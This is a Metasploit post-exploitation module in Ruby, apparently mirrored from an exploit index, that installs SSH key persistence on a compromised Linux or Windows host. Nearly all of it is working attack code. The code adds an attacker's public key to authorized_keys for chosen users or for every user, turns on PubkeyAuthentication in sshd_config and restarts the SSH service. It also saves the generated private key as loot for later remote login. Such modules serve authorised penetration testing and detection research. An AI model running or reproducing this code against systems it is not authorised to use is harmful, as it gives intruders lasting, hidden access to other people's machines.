Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-SSH_KEY-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Windows::UserProfiles
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'post/linux/manage/sshkey_persistence'
  moved_from 'post/windows/manage/sshkey_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SSH Key Persistence',
        'Description' => %q{
          This module will add an SSH key to a specified user (or all), to allow
          remote login via SSH at any time. No payload is required for this module to work.

          If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
          The private key will be stored as loot for later use.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <mike@shorebreaksecurity.com>', # linux
          'Dean Welch <dean_welch[at]rapid7.com>' # windows
        ],
        'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload
        'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
          ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
          ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
          ['URL', 'https://stackoverflow.com/a/50502015']
        ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,

        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Passive' => false,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven
          'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues
        },
        'DisclosureDate' => '1995-07-01', # ssh first release
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
      OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),
      OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
      OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])
    ])

    deregister_options('WritableDir')
    deregister_options('PAYLOAD')
  end

  def check
    return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)

    enabled = pubkey_enabled?
    if enabled.nil?
      print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
    elsif enabled == false
      return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
    end

    CheckCode::Appears('Likely vulnerable')
  end

  def sshd_config_file
    return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?

    if session.platform == 'windows'
      'C:\ProgramData\ssh\sshd_config'
    else # assume *nix
      '/etc/ssh/sshd_config'
    end
  end

  def target_admin_user?
    !datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
  end

  def set_pub_key_file_permissions(file, username = nil)
    if session.platform == 'windows'
      return unless target_admin_user?

      cmd_exec("icacls #{file} /inheritance:r")
      cmd_exec("icacls #{file} /grant SYSTEM:(F)")
      cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
    else
      chmod(file, 0o600)
      unless username.nil?
        cmd_exec("chown #{username}:#{username} #{file}")
      end
    end
  end

  def windows_service_owner
    service_info = cmd_exec('sc qc sshd')
    /SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
    owner
  end

  def write_key(paths, auth_key_file, sep)
    if datastore['PUBKEY'].nil?
      key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
      our_pub_key = key.ssh_public_key
      private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
      print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")
    else
      our_pub_key = ::File.read(datastore['PUBKEY'])
    end

    paths.each do |path|
      path.chomp!
      authorized_keys = "#{path}#{sep}#{auth_key_file}"
      next unless file?(authorized_keys)

      # make a backup of the authorized_keys file so we can add it to the restore rc
      auth_keys_backup = read_file(authorized_keys)
      loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
      @clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
      # start exploiting
      print_status("Adding key to #{authorized_keys}")
      append_file(authorized_keys, "\n#{our_pub_key}")
      set_pub_key_file_permissions(authorized_keys)
      print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
      print_good 'use auxiliary/scanner/ssh/ssh_login'
      print_good "  run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
      next unless datastore['PUBKEY'].nil?

      path_array = path.split(sep)
      path_array.pop
      user = path_array.pop
      credential_data = {
        origin_type: :session,
        session_id: session.db_record ? session.db_record.id : nil,
        post_reference_name: refname,
        private_type: :ssh_key,
        private_data: key.private_key.to_s,
        username: user,
        workspace_id: myworkspace_id
      }

      create_credential(credential_data)
    end
  end

  def pubkey_enabled?
    print_status('Checking SSH Permissions')
    if session.platform != 'windows' && !readable?(sshd_config_file)
      return nil
    end

    sshd_config = read_file(sshd_config_file)
    return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors

    if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
      # If the line exists, check if it's commented or explicitly "no"
      if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'
        print_error('Pubkey Authentication disabled')
        enable_pub_key_auth(sshd_config)
        if read_file(sshd_config_file) == sshd_config
          print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
          return false
        else
          print_good('PubkeyAuthentication enabled successfully')
        end
      else
        vprint_good("Pubkey set to #{pub_key}")
      end
    else
      # No PubkeyAuthentication line found at all โ€” treat as disabled
      print_error('Pubkey Authentication not found, assuming disabled')
      enable_pub_key_auth(sshd_config)
    end

    # also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info
    if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?
      fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")
    end

    true
  end

  def enable_pub_key_auth(sshd_config)
    vprint_status('Attempting to enable pubkey authentication in sshd_config')
    loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')
    @clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"
    sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')
    write_file(sshd_config_file, sshd_config)
    if session.platform == 'windows'
      cmd_exec('net stop "OpenSSH SSH Server"')
      cmd_exec('net start "OpenSSH SSH Server"')
    else
      cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')
    end
  end

  def authorized_keys_file
    print_status('Determining authorized_keys file')
    if session.platform == 'windows' && target_admin_user?
      return 'administrators_authorized_keys'
    end
    if session.platform != 'windows' && !readable?(sshd_config_file)
      return nil
    end

    sshd_config = read_file(sshd_config_file)
    return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported

    %r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
    if auth_key_file
      auth_key_file = auth_key_file.gsub('%h', '')
      auth_key_file = auth_key_file.gsub('%%', '%')
      if auth_key_file.start_with? '/'
        auth_key_file = auth_key_file[1..]
      end
    else
      auth_key_file = ".ssh#{sep}authorized_keys"
    end
    print_status("Authorized Keys File: #{auth_key_file}")
    auth_key_file
  end

  def sep
    if session.type == 'meterpreter'
      return session.fs.file.separator
    elsif session.platform == 'windows'
      return '\\'
    end

    return '/'
  end

  def find_user_folders(auth_key_folder)
    paths = []
    # all users
    if datastore['USERNAME'].nil?
      if session.platform == 'windows'
        paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
      else # assume *nix
        paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
      end
    # admin user
    elsif target_admin_user?
      if session.platform == 'windows'
        paths = ['C:\ProgramData\ssh']
      else # assume *nix
        paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
      end
    # specific user
    elsif session.platform == 'windows'
      user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
      if user_profile
        paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
      else
        print_error("User #{datastore['USERNAME']} not found")
      end
    else # assume *nix
      user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
      if user_profile
        paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
      else
        print_error("User #{datastore['USERNAME']} not found")
      end
    end
    paths.map! { |p| p.delete("\r\n") }
    paths
  end

  def install_persistence
    auth_key_file = authorized_keys_file
    unless auth_key_file
      print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
      auth_key_file = ".ssh#{sep}authorized_keys"
    end
    # ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
    auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
    auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
    home_folders = find_user_folders(auth_key_folder)
    vprint_status("Found #{home_folders.length} potential user folders")

    # double check all the folders and files exist that we need
    home_folders = home_folders.select do |d|
      authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
      d_exists = directory?(d)

      if !d_exists && !datastore['CREATESSHFOLDER']
        print_warning("No .ssh folder found for #{d}, skipping...")
        false
      elsif !d_exists
        if session.platform == 'windows'
          session.fs.dir.mkdir(d)
        else
          cmd_exec("mkdir -m 700 -p #{d}")
          cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")
        end
        @clean_up_rc << "rmdir #{d}\n"
      end

      f_exists = file?(authorized_keys_path)
      if !f_exists && !datastore['CREATESSHFOLDER']
        print_warning("No #{authorized_keys_path} file found, skipping...")
        false
      elsif !f_exists
        unless write_file(authorized_keys_path, '')
          print_warning("Unable to create #{authorized_keys_path}, skipping...")
          false
        end
        if session.platform == 'windows'
          set_pub_key_file_permissions(authorized_keys_path)
        else
          set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])
        end
      end
      true
    end

    vprint_status("Found #{home_folders.length} confirmed user folders")

    if home_folders.nil? || home_folders.empty?
      fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
    end

    write_key(home_folders, auth_key_file, sep)
  end

end